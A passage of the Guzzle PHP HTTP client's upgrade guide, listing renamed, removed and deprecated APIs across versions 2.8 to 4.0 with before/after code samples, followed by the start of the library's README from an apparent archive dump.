- `GuzzleHttp\Message\EntityEnclosingRequest` and
  `GuzzleHttp\Message\EntityEnclosingRequestInterface` have been removed. The
  separation between requests that contain a body and requests that do not
  contain a body has been removed, and now `GuzzleHttp\Message\RequestInterface`
  handles both use cases.
- Any method that previously accepts a `GuzzleHttp\Response` object now accept a
  `GuzzleHttp\Message\ResponseInterface`.
- `GuzzleHttp\Message\RequestFactoryInterface` has been renamed to
  `GuzzleHttp\Message\MessageFactoryInterface`. This interface is used to create
  both requests and responses and is implemented in
  `GuzzleHttp\Message\MessageFactory`.
- POST field and file methods have been removed from the request object. You
  must now use the methods made available to `GuzzleHttp\Post\PostBodyInterface`
  to control the format of a POST body. Requests that are created using a
  standard `GuzzleHttp\Message\MessageFactoryInterface` will automatically use
  a `GuzzleHttp\Post\PostBody` body if the body was passed as an array or if
  the method is POST and no body is provided.

```php
$request = $client->createRequest('POST', '/');
$request->getBody()->setField('foo', 'bar');
$request->getBody()->addFile(new PostFile('file_key', fopen('/path/to/content', 'r')));
```

#### Headers

- `GuzzleHttp\Message\Header` has been removed. Header values are now simply
  represented by an array of values or as a string. Header values are returned
  as a string by default when retrieving a header value from a message. You can
  pass an optional argument of `true` to retrieve a header value as an array
  of strings instead of a single concatenated string.
- `GuzzleHttp\PostFile` and `GuzzleHttp\PostFileInterface` have been moved to
  `GuzzleHttp\Post`. This interface has been simplified and now allows the
  addition of arbitrary headers.
- Custom headers like `GuzzleHttp\Message\Header\Link` have been removed. Most
  of the custom headers are now handled separately in specific
  subscribers/plugins, and `GuzzleHttp\Message\HeaderValues::parseParams()` has
  been updated to properly handle headers that contain parameters (like the
  `Link` header).

#### Responses

- `GuzzleHttp\Message\Response::getInfo()` and
  `GuzzleHttp\Message\Response::setInfo()` have been removed. Use the event
  system to retrieve this type of information.
- `GuzzleHttp\Message\Response::getRawHeaders()` has been removed.
- `GuzzleHttp\Message\Response::getMessage()` has been removed.
- `GuzzleHttp\Message\Response::calculateAge()` and other cache specific
  methods have moved to the CacheSubscriber.
- Header specific helper functions like `getContentMd5()` have been removed.
  Just use `getHeader('Content-MD5')` instead.
- `GuzzleHttp\Message\Response::setRequest()` and
  `GuzzleHttp\Message\Response::getRequest()` have been removed. Use the event
  system to work with request and response objects as a transaction.
- `GuzzleHttp\Message\Response::getRedirectCount()` has been removed. Use the
  Redirect subscriber instead.
- `GuzzleHttp\Message\Response::isSuccessful()` and other related methods have
  been removed. Use `getStatusCode()` instead.

#### Streaming responses

Streaming requests can now be created by a client directly, returning a
`GuzzleHttp\Message\ResponseInterface` object that contains a body stream
referencing an open PHP HTTP stream.

```php
// 3.0
use Guzzle\Stream\PhpStreamRequestFactory;
$request = $client->get('/');
$factory = new PhpStreamRequestFactory();
$stream = $factory->fromRequest($request);
$data = $stream->read(1024);

// 4.0
$response = $client->get('/', ['stream' => true]);
// Read some data off of the stream in the response body
$data = $response->getBody()->read(1024);
```

#### Redirects

The `configureRedirects()` method has been removed in favor of a
`allow_redirects` request option.

```php
// Standard redirects with a default of a max of 5 redirects
$request = $client->createRequest('GET', '/', ['allow_redirects' => true]);

// Strict redirects with a custom number of redirects
$request = $client->createRequest('GET', '/', [
    'allow_redirects' => ['max' => 5, 'strict' => true]
]);
```

#### EntityBody

EntityBody interfaces and classes have been removed or moved to
`GuzzleHttp\Stream`. All classes and interfaces that once required
`GuzzleHttp\EntityBodyInterface` now require
`GuzzleHttp\Stream\StreamInterface`. Creating a new body for a request no
longer uses `GuzzleHttp\EntityBody::factory` but now uses
`GuzzleHttp\Stream\Stream::factory` or even better:
`GuzzleHttp\Stream\create()`.

- `Guzzle\Http\EntityBodyInterface` is now `GuzzleHttp\Stream\StreamInterface`
- `Guzzle\Http\EntityBody` is now `GuzzleHttp\Stream\Stream`
- `Guzzle\Http\CachingEntityBody` is now `GuzzleHttp\Stream\CachingStream`
- `Guzzle\Http\ReadLimitEntityBody` is now `GuzzleHttp\Stream\LimitStream`
- `Guzzle\Http\IoEmittyinEntityBody` has been removed.

#### Request lifecycle events

Requests previously submitted a large number of requests. The number of events
emitted over the lifecycle of a request has been significantly reduced to make
it easier to understand how to extend the behavior of a request. All events
emitted during the lifecycle of a request now emit a custom
`GuzzleHttp\Event\EventInterface` object that contains context providing
methods and a way in which to modify the transaction at that specific point in
time (e.g., intercept the request and set a response on the transaction).

- `request.before_send` has been renamed to `before` and now emits a
  `GuzzleHttp\Event\BeforeEvent`
- `request.complete` has been renamed to `complete` and now emits a
  `GuzzleHttp\Event\CompleteEvent`.
- `request.sent` has been removed. Use `complete`.
- `request.success` has been removed. Use `complete`.
- `error` is now an event that emits a `GuzzleHttp\Event\ErrorEvent`.
- `request.exception` has been removed. Use `error`.
- `request.receive.status_line` has been removed.
- `curl.callback.progress` has been removed. Use a custom `StreamInterface` to
  maintain a status update.
- `curl.callback.write` has been removed. Use a custom `StreamInterface` to
  intercept writes.
- `curl.callback.read` has been removed. Use a custom `StreamInterface` to
  intercept reads.

`headers` is a new event that is emitted after the response headers of a
request have been received before the body of the response is downloaded. This
event emits a `GuzzleHttp\Event\HeadersEvent`.

You can intercept a request and inject a response using the `intercept()` event
of a `GuzzleHttp\Event\BeforeEvent`, `GuzzleHttp\Event\CompleteEvent`, and
`GuzzleHttp\Event\ErrorEvent` event.

See: https://docs.guzzlephp.org/en/latest/events.html

## Inflection

The `Guzzle\Inflection` namespace has been removed. This is not a core concern
of Guzzle.

## Iterator

The `Guzzle\Iterator` namespace has been removed.

- `Guzzle\Iterator\AppendIterator`, `Guzzle\Iterator\ChunkedIterator`, and
  `Guzzle\Iterator\MethodProxyIterator` are nice, but not a core requirement of
  Guzzle itself.
- `Guzzle\Iterator\FilterIterator` is no longer needed because an equivalent
  class is shipped with PHP 5.4.
- `Guzzle\Iterator\MapIterator` is not really needed when using PHP 5.5 because
  it's easier to just wrap an iterator in a generator that maps values.

For a replacement of these iterators, see https://github.com/nikic/iter

## Log

The LogPlugin has moved to https://github.com/guzzle/log-subscriber. The
`Guzzle\Log` namespace has been removed. Guzzle now relies on
`Psr\Log\LoggerInterface` for all logging. The MessageFormatter class has been
moved to `GuzzleHttp\Subscriber\Log\Formatter`.

## Parser

The `Guzzle\Parser` namespace has been removed. This was previously used to
make it possible to plug in custom parsers for cookies, messages, URI
templates, and URLs; however, this level of complexity is not needed in Guzzle
so it has been removed.

- Cookie: Cookie parsing logic has been moved to
  `GuzzleHttp\Cookie\SetCookie::fromString`.
- Message: Message parsing logic for both requests and responses has been moved
  to `GuzzleHttp\Message\MessageFactory::fromMessage`. Message parsing is only
  used in debugging or deserializing messages, so it doesn't make sense for
  Guzzle as a library to add this level of complexity to parsing messages.
- UriTemplate: URI template parsing has been moved to
  `GuzzleHttp\UriTemplate`. The Guzzle library will automatically use the PECL
  URI template library if it is installed.
- Url: URL parsing is now performed in `GuzzleHttp\Url::fromString` (previously
  it was `Guzzle\Http\Url::factory()`). If custom URL parsing is necessary,
  then developers are free to subclass `GuzzleHttp\Url`.

## Plugin

The `Guzzle\Plugin` namespace has been renamed to `GuzzleHttp\Subscriber`.
Several plugins are shipping with the core Guzzle library under this namespace.

- `GuzzleHttp\Subscriber\Cookie`: Replaces the old CookiePlugin. Cookie jar
  code has moved to `GuzzleHttp\Cookie`.
- `GuzzleHttp\Subscriber\History`: Replaces the old HistoryPlugin.
- `GuzzleHttp\Subscriber\HttpError`: Throws errors when a bad HTTP response is
  received.
- `GuzzleHttp\Subscriber\Mock`: Replaces the old MockPlugin.
- `GuzzleHttp\Subscriber\Prepare`: Prepares the body of a request just before
  sending. This subscriber is attached to all requests by default.
- `GuzzleHttp\Subscriber\Redirect`: Replaces the RedirectPlugin.

The following plugins have been removed (third-parties are free to re-implement
these if needed):

- `GuzzleHttp\Plugin\Async` has been removed.
- `GuzzleHttp\Plugin\CurlAuth` has been removed.
- `GuzzleHttp\Plugin\ErrorResponse\ErrorResponsePlugin` has been removed. This
  functionality should instead be implemented with event listeners that occur
  after normal response parsing occurs in the guzzle/command package.

The following plugins are not part of the core Guzzle package, but are provided
in separate repositories:

- `Guzzle\Http\Plugin\BackoffPlugin` has been rewritten to be much simpler
  to build custom retry policies using simple functions rather than various
  chained classes. See: https://github.com/guzzle/retry-subscriber
- `Guzzle\Http\Plugin\Cache\CachePlugin` has moved to
  https://github.com/guzzle/cache-subscriber
- `Guzzle\Http\Plugin\Log\LogPlugin` has moved to
  https://github.com/guzzle/log-subscriber
- `Guzzle\Http\Plugin\Md5\Md5Plugin` has moved to
  https://github.com/guzzle/message-integrity-subscriber
- `Guzzle\Http\Plugin\Mock\MockPlugin` has moved to
  `GuzzleHttp\Subscriber\MockSubscriber`.
- `Guzzle\Http\Plugin\Oauth\OauthPlugin` has moved to
  https://github.com/guzzle/oauth-subscriber

## Service

The service description layer of Guzzle has moved into two separate packages:

- https://github.com/guzzle/command Provides a high level abstraction over web
  services by representing web service operations using commands.
- https://github.com/guzzle/guzzle-services Provides an implementation of
  guzzle/command that provides request serialization and response parsing using
  Guzzle service descriptions.

## Stream

Stream have moved to a separate package available at
https://github.com/guzzle/streams.

`Guzzle\Stream\StreamInterface` has been given a large update to cleanly take
on the responsibilities of `Guzzle\Http\EntityBody` and
`Guzzle\Http\EntityBodyInterface` now that they have been removed. The number
of methods implemented by the `StreamInterface` has been drastically reduced to
allow developers to more easily extend and decorate stream behavior.

## Removed methods from StreamInterface

- `getStream` and `setStream` have been removed to better encapsulate streams.
- `getMetadata` and `setMetadata` have been removed in favor of
  `GuzzleHttp\Stream\MetadataStreamInterface`.
- `getWrapper`, `getWrapperData`, `getStreamType`, and `getUri` have all been
  removed. This data is accessible when
  using streams that implement `GuzzleHttp\Stream\MetadataStreamInterface`.
- `rewind` has been removed. Use `seek(0)` for a similar behavior.

## Renamed methods

- `detachStream` has been renamed to `detach`.
- `feof` has been renamed to `eof`.
- `ftell` has been renamed to `tell`.
- `readLine` has moved from an instance method to a static class method of
  `GuzzleHttp\Stream\Stream`.

## Metadata streams

`GuzzleHttp\Stream\MetadataStreamInterface` has been added to denote streams
that contain additional metadata accessible via `getMetadata()`.
`GuzzleHttp\Stream\StreamInterface::getMetadata` and
`GuzzleHttp\Stream\StreamInterface::setMetadata` have been removed.

## StreamRequestFactory

The entire concept of the StreamRequestFactory has been removed. The way this
was used in Guzzle 3 broke the actual interface of sending streaming requests
(instead of getting back a Response, you got a StreamInterface). Streaming
PHP requests are now implemented through the `GuzzleHttp\Adapter\StreamAdapter`.

3.6 to 3.7
----------

### Deprecations

- You can now enable E_USER_DEPRECATED warnings to see if you are using any deprecated methods.:

```php
\Guzzle\Common\Version::$emitWarnings = true;
```

The following APIs and options have been marked as deprecated:

- Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use `$request->getResponseBody()->isRepeatable()` instead.
- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead.
- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead.
- Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead.
- Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead.
- Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated
- Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client.
- Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8.
- Marked `Guzzle\Common\Collection::inject()` as deprecated.
- Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use
  `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));` or
  `$client->setDefaultOption('auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));`

3.7 introduces `request.options` as a parameter for a client configuration and as an optional argument to all creational
request methods. When paired with a client's configuration settings, these options allow you to specify default settings
for various aspects of a request. Because these options make other previous configuration options redundant, several
configuration options and methods of a client and AbstractCommand have been deprecated.

- Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use `$client->getDefaultOption('headers')`.
- Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use `$client->setDefaultOption('headers/{header_name}', 'value')`.
- Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use `$client->setDefaultOption('params/{param_name}', 'value')`
- Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand. These will work through Guzzle 4.0

        $command = $client->getCommand('foo', array(
            'command.headers' => array('Test' => '123'),
            'command.response_body' => '/path/to/file'
        ));

        // Should be changed to:

        $command = $client->getCommand('foo', array(
            'command.request_options' => array(
                'headers' => array('Test' => '123'),
                'save_as' => '/path/to/file'
            )
        ));

### Interface changes

Additions and changes (you will need to update any implementations or subclasses you may have created):

- Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`:
  createRequest, head, delete, put, patch, post, options, prepareRequest
- Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()`
- Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface`
- Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to
  `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a
  resource, string, or EntityBody into the $options parameter to specify the download location of the response.
- Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts a null value for `$data` but a
  default `array()`
- Added `Guzzle\Stream\StreamInterface::isRepeatable`
- Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods.

The following methods were removed from interfaces. All of these methods are still available in the concrete classes
that implement them, but you should update your code to use alternative methods:

- Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use
  `$client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or
  `$client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))` or
  `$client->setDefaultOption('headers/{header_name}', 'value')`. or
  `$client->setDefaultOption('headers', array('header_name' => 'value'))`.
- Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use `$client->getConfig()->getPath('request.options/headers')`.
- Removed `Guzzle\Http\ClientInterface::expandTemplate()`. This is an implementation detail.
- Removed `Guzzle\Http\ClientInterface::setRequestFactory()`. This is an implementation detail.
- Removed `Guzzle\Http\ClientInterface::getCurlMulti()`. This is a very specific implementation detail.
- Removed `Guzzle\Http\Message\RequestInterface::canCache`. Use the CachePlugin.
- Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect`. Use the HistoryPlugin.
- Removed `Guzzle\Http\Message\RequestInterface::isRedirect`. Use the HistoryPlugin.

### Cache plugin breaking changes

- CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a
  CacheStorageInterface. These two objects and interface will be removed in a future version.
- Always setting X-cache headers on cached responses
- Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin
- `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface
  $request, Response $response);`
- `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);`
- `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);`
- Added `CacheStorageInterface::purge($url)`
- `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin
  $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache,
  CanCacheStrategyInterface $canCache = null)`
- Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)`

3.5 to 3.6
----------

* Mixed casing of headers are now forced to be a single consistent casing across all values for that header.
* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution
* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader().
  For example, setHeader() first removes the header using unset on a HeaderCollection and then calls addHeader().
  Keeping the Host header and URL host in sync is now handled by overriding the addHeader method in Request.
* Specific header implementations can be created for complex headers. When a message creates a header, it uses a
  HeaderFactory which can map specific headers to specific header classes. There is now a Link header and
  CacheControl header implementation.
* Moved getLinks() from Response to just be used on a Link header object.

If you previously relied on Guzzle\Http\Message\Header::raw(), then you will need to update your code to use the
HeaderInterface (e.g. toArray(), getAll(), etc.).

### Interface changes

* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate
* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti()
* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in
  Guzzle\Http\Curl\RequestMediator
* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string.
* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface
* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders()

### Removed deprecated functions

* Removed Guzzle\Parser\ParserRegister::get(). Use getParser()
* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser().

### Deprecations

* The ability to case-insensitively search for header values
* Guzzle\Http\Message\Header::hasExactHeader
* Guzzle\Http\Message\Header::raw. Use getAll()
* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object
  instead.

### Other changes

* All response header helper functions return a string rather than mixing Header objects and strings inconsistently
* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle
  directly via interfaces
* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist
  but are a no-op until removed.
* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a
  `Guzzle\Service\Command\ArrayCommandInterface`.
* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response
  on a request while the request is still being transferred
* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess

3.3 to 3.4
----------

Base URLs of a client now follow the rules of https://datatracker.ietf.org/doc/html/rfc3986#section-5.2.2 when merging URLs.

3.2 to 3.3
----------

### Response::getEtag() quote stripping removed

`Guzzle\Http\Message\Response::getEtag()` no longer strips quotes around the ETag response header

### Removed `Guzzle\Http\Utils`

The `Guzzle\Http\Utils` class was removed. This class was only used for testing.

### Stream wrapper and type

`Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getStreamType()` are no longer converted to lowercase.

### curl.emit_io became emit_io

Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using the
'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io'

3.1 to 3.2
----------

### CurlMulti is no longer reused globally

Before 3.2, the same CurlMulti object was reused globally for each client. This can cause issue where plugins added
to a single client can pollute requests dispatched from other clients.

If you still wish to reuse the same CurlMulti object with each client, then you can add a listener to the
ServiceBuilder's `service_builder.create_client` event to inject a custom CurlMulti object into each client as it is
created.

```php
$multi = new Guzzle\Http\Curl\CurlMulti();
$builder = Guzzle\Service\Builder\ServiceBuilder::factory('/path/to/config.json');
$builder->addListener('service_builder.create_client', function ($event) use ($multi) {
    $event['client']->setCurlMulti($multi);
}
});
```

### No default path

URLs no longer have a default path value of '/' if no path was specified.

Before:

```php
$request = $client->get('http://www.foo.com');
echo $request->getUrl();
// >> http://www.foo.com/
```

After:

```php
$request = $client->get('http://www.foo.com');
echo $request->getUrl();
// >> http://www.foo.com
```

### Less verbose BadResponseException

The exception message for `Guzzle\Http\Exception\BadResponseException` no longer contains the full HTTP request and
response information. You can, however, get access to the request and response object by calling `getRequest()` or
`getResponse()` on the exception object.

### Query parameter aggregation

Multi-valued query parameters are no longer aggregated using a callback function. `Guzzle\Http\Query` now has a
setAggregator() method that accepts a `Guzzle\Http\QueryAggregator\QueryAggregatorInterface` object. This object is
responsible for handling the aggregation of multi-valued query string variables into a flattened hash.

2.8 to 3.x
----------

### Guzzle\Service\Inspector

Change `\Guzzle\Service\Inspector::fromConfig` to `\Guzzle\Common\Collection::fromConfig`

**Before**

```php
use Guzzle\Service\Inspector;

class YourClient extends \Guzzle\Service\Client
{
    public static function factory($config = array())
    {
        $default = array();
        $required = array('base_url', 'username', 'api_key');
        $config = Inspector::fromConfig($config, $default, $required);

        $client = new self(
            $config->get('base_url'),
            $config->get('username'),
            $config->get('api_key')
        );
        $client->setConfig($config);

        $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json'));

        return $client;
    }
```

**After**

```php
use Guzzle\Common\Collection;

class YourClient extends \Guzzle\Service\Client
{
    public static function factory($config = array())
    {
        $default = array();
        $required = array('base_url', 'username', 'api_key');
        $config = Collection::fromConfig($config, $default, $required);

        $client = new self(
            $config->get('base_url'),
            $config->get('username'),
            $config->get('api_key')
        );
        $client->setConfig($config);

        $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json'));

        return $client;
    }
```

### Convert XML Service Descriptions to JSON

**Before**

```xml
<?xml version="1.0" encoding="UTF-8"?>
<client>
    <commands>
        <!-- Groups -->
        <command name="list_groups" method="GET" uri="groups.json">
            <doc>Get a list of groups</doc>
        </command>
        <command name="search_groups" method="GET" uri='search.json?query="{{query}} type:group"'>
            <doc>Uses a search query to get a list of groups</doc>
            <param name="query" type="string" required="true" />
        </command>
        <command name="create_group" method="POST" uri="groups.json">
            <doc>Create a group</doc>
            <param name="data" type="array" location="body" filters="json_encode" doc="Group JSON"/>
            <param name="Content-Type" location="header" static="application/json"/>
        </command>
        <command name="delete_group" method="DELETE" uri="groups/{{id}}.json">
            <doc>Delete a group by ID</doc>
            <param name="id" type="integer" required="true"/>
        </command>
        <command name="get_group" method="GET" uri="groups/{{id}}.json">
            <param name="id" type="integer" required="true"/>
        </command>
        <command name="update_group" method="PUT" uri="groups/{{id}}.json">
            <doc>Update a group</doc>
            <param name="id" type="integer" required="true"/>
            <param name="data" type="array" location="body" filters="json_encode" doc="Group JSON"/>
            <param name="Content-Type" location="header" static="application/json"/>
        </command>
    </commands>
</client>
```

**After**

```json
{
    "name":       "Zendesk REST API v2",
    "apiVersion": "2012-12-31",
    "description":"Provides access to Zendesk views, groups, tickets, ticket fields, and users",
    "operations": {
        "list_groups":  {
            "httpMethod":"GET",
            "uri":       "groups.json",
            "summary":   "Get a list of groups"
        },
        "search_groups":{
            "httpMethod":"GET",
            "uri":       "search.json?query=\"{query} type:group\"",
            "summary":   "Uses a search query to get a list of groups",
            "parameters":{
                "query":{
                    "location":   "uri",
                    "description":"Zendesk Search Query",
                    "type":       "string",
                    "required":   true
                }
            }
        },
        "create_group": {
            "httpMethod":"POST",
            "uri":       "groups.json",
            "summary":   "Create a group",
            "parameters":{
                "data":        {
                    "type":       "array",
                    "location":   "body",
                    "description":"Group JSON",
                    "filters":    "json_encode",
                    "required":   true
                },
                "Content-Type":{
                    "type":    "string",
                    "location":"header",
                    "static":  "application/json"
                }
            }
        },
        "delete_group": {
            "httpMethod":"DELETE",
            "uri":       "groups/{id}.json",
            "summary":   "Delete a group",
            "parameters":{
                "id":{
                    "location":   "uri",
                    "description":"Group to delete by ID",
                    "type":       "integer",
                    "required":   true
                }
            }
        },
        "get_group":    {
            "httpMethod":"GET",
            "uri":       "groups/{id}.json",
            "summary":   "Get a ticket",
            "parameters":{
                "id":{
                    "location":   "uri",
                    "description":"Group to get by ID",
                    "type":       "integer",
                    "required":   true
                }
            }
        },
        "update_group": {
            "httpMethod":"PUT",
            "uri":       "groups/{id}.json",
            "summary":   "Update a group",
            "parameters":{
                "id":          {
                    "location":   "uri",
                    "description":"Group to update by ID",
                    "type":       "integer",
                    "required":   true
                },
                "data":        {
                    "type":       "array",
                    "location":   "body",
                    "description":"Group JSON",
                    "filters":    "json_encode",
                    "required":   true
                },
                "Content-Type":{
                    "type":    "string",
                    "location":"header",
                    "static":  "application/json"
                }
            }
        }
}
```

### Guzzle\Service\Description\ServiceDescription

Commands are now called Operations

**Before**

```php
use Guzzle\Service\Description\ServiceDescription;

$sd = new ServiceDescription();
$sd->getCommands();     // @returns ApiCommandInterface[]
$sd->hasCommand($name);
$sd->getCommand($name); // @returns ApiCommandInterface|null
$sd->addCommand($command); // @param ApiCommandInterface $command
```

**After**

```php
use Guzzle\Service\Description\ServiceDescription;

$sd = new ServiceDescription();
$sd->getOperations();           // @returns OperationInterface[]
$sd->hasOperation($name);
$sd->getOperation($name);       // @returns OperationInterface|null
$sd->addOperation($operation);  // @param OperationInterface $operation
```

### Guzzle\Common\Inflection\Inflector

Namespace is now `Guzzle\Inflection\Inflector`

### Guzzle\Http\Plugin

Namespace is now `Guzzle\Plugin`. Many other changes occur within this namespace and are detailed in their own sections below.

### Guzzle\Http\Plugin\LogPlugin and Guzzle\Common\Log

Now `Guzzle\Plugin\Log\LogPlugin` and `Guzzle\Log` respectively.

**Before**

```php
use Guzzle\Common\Log\ClosureLogAdapter;
use Guzzle\Http\Plugin\LogPlugin;

/** @var \Guzzle\Http\Client */
$client;

// $verbosity is an integer indicating desired message verbosity level
$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $verbosity = LogPlugin::LOG_VERBOSE);
```

**After**

```php
use Guzzle\Log\ClosureLogAdapter;
use Guzzle\Log\MessageFormatter;
use Guzzle\Plugin\Log\LogPlugin;

/** @var \Guzzle\Http\Client */
$client;

// $format is a string indicating desired message format -- @see MessageFormatter
$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $format = MessageFormatter::DEBUG_FORMAT);
```

### Guzzle\Http\Plugin\CurlAuthPlugin

Now `Guzzle\Plugin\CurlAuth\CurlAuthPlugin`.

### Guzzle\Http\Plugin\ExponentialBackoffPlugin

Now `Guzzle\Plugin\Backoff\BackoffPlugin`, and other changes.

**Before**

```php
use Guzzle\Http\Plugin\ExponentialBackoffPlugin;

$backoffPlugin = new ExponentialBackoffPlugin($maxRetries, array_merge(
        ExponentialBackoffPlugin::getDefaultFailureCodes(), array(429)
    ));

$client->addSubscriber($backoffPlugin);
```

**After**

```php
use Guzzle\Plugin\Backoff\BackoffPlugin;
use Guzzle\Plugin\Backoff\HttpBackoffStrategy;

// Use convenient factory method instead -- see implementation for ideas of what
// you can do with chaining backoff strategies
$backoffPlugin = BackoffPlugin::getExponentialBackoff($maxRetries, array_merge(
        HttpBackoffStrategy::getDefaultFailureCodes(), array(429)
    ));
$client->addSubscriber($backoffPlugin);
```

### Known Issues

#### [BUG] Accept-Encoding header behavior changed unintentionally.

(See #217) (Fixed in 09daeb8c666fb44499a0646d655a8ae36456575e)

In version 2.8 setting the `Accept-Encoding` header would set the CURLOPT_ENCODING option, which permitted cURL to
properly handle gzip/deflate compressed responses from the server. In versions affected by this bug this does not happen.
See issue #217 for a workaround, or use a version containing the fix.
PK
h�\�a���"vendor/guzzlehttp/guzzle/README.mdnu�[���![Guzzle](.github/logo.png?raw=true)

# Guzzle, PHP HTTP client

[![Latest Version](https://img.shields.io/github/release/guzzle/guzzle.svg?style=flat-square)](https://github.com/guzzle/guzzle/releases)
[![Build Status](https://img.shields.io/github/actions/workflow/status/guzzle/guzzle/ci.yml?label=ci%20build&style=flat-square)](https://github.com/guzzle/guzzle/actions?query=workflow%3ACI)
[![Total Downloads](https://img.shields.io/packagist/dt/guzzlehttp/guzzle.svg?style=flat-square)](https://packagist.org/packages/guzzlehttp/guzzle)

Guzzle is a PHP HTTP client that makes it easy to send HTTP requests and
trivial to integrate with web services.

- Simple interface for building query strings, POST requests, streaming large
  uploads, streaming large downloads, using HTTP cookies, uploading JSON data,
  etc...
- Can send both synchronous and asynchronous requests using the same interface.
- Uses PSR-7 interfaces for requests, responses, and streams. This allows you
  to utilize other PSR-7 compatible libraries with Guzzle.
- Supports PSR-18 allowing interoperability between other PSR-18 HTTP Clients.
- Abstracts away the underlying HTTP transport, allowing you to write
  environment and transport agnostic code; i.e., no hard dependency on cURL,
  PHP streams, sockets, or non-blocking event loops.
- Middleware system allows you to augment and compose client behavior.

```php
$client = new \GuzzleHttp\Client();
$response = $client->request('GET', 'https://api.github.com/repos/guzzle/guzzle');

echo $response->getStatusCode(); // 200
echo $response->getHeaderLine('content-type'); // 'application/json; charset=utf8'
echo $response->getBody(); // '{"id": 1420053, "name": "guzzle", ...}'

// Send an asynchronous request.
$request = new \GuzzleHttp\Psr7\Request('GET', 'http://httpbin.org');
$promise = $client->sendAsync($request)->then(function ($response) {
    echo 'I completed! ' . $response->getBody();
});

$promise->wait();
```

## Help and docs

We use GitHub issues only to discuss bugs and new features. For support please refer to:

- [Documentation](https://docs.guzzlephp.org)
- [Stack Overflow](https://stackoverflow.com/questions/tagged/guzzle)
- [#guzzle](https://app.slack.com/client/T0D2S9JCT/CE6UAAKL4) channel on [PHP-HTTP Slack](https://slack.httplug.io/)
- [Gitter](https://gitter.im/guzzle/guzzle)


## Installing Guzzle

The recommended way to install Guzzle is through
[Composer](https://getcomposer.org/).

```bash
composer require guzzlehttp/guzzle
```


## Version Guidance

| Version | Status              | Packagist           | Namespace    | Repo                | Docs                | PSR-7 | PHP Version  |
|---------|---------------------|---------------------|--------------|---------------------|---------------------|-------|--------------|
| 3.x     | EOL                 | `guzzle/guzzle`     | `Guzzle`     | [v3][guzzle-3-repo] | [v3][guzzle-3-docs] | No    | >=5.3.3,<7.0 |
| 4.x     | EOL                 | `guzzlehttp/guzzle` | `GuzzleHttp` | [v4][guzzle-4-repo] | N/A                 | No    | >=5.4,<7.0   |
| 5.x     | EOL                 | `guzzlehttp/guzzle` | `GuzzleHttp` | [v5][guzzle-5-repo] | [v5][guzzle-5-docs] | No    | >=5.4,<7.4   |
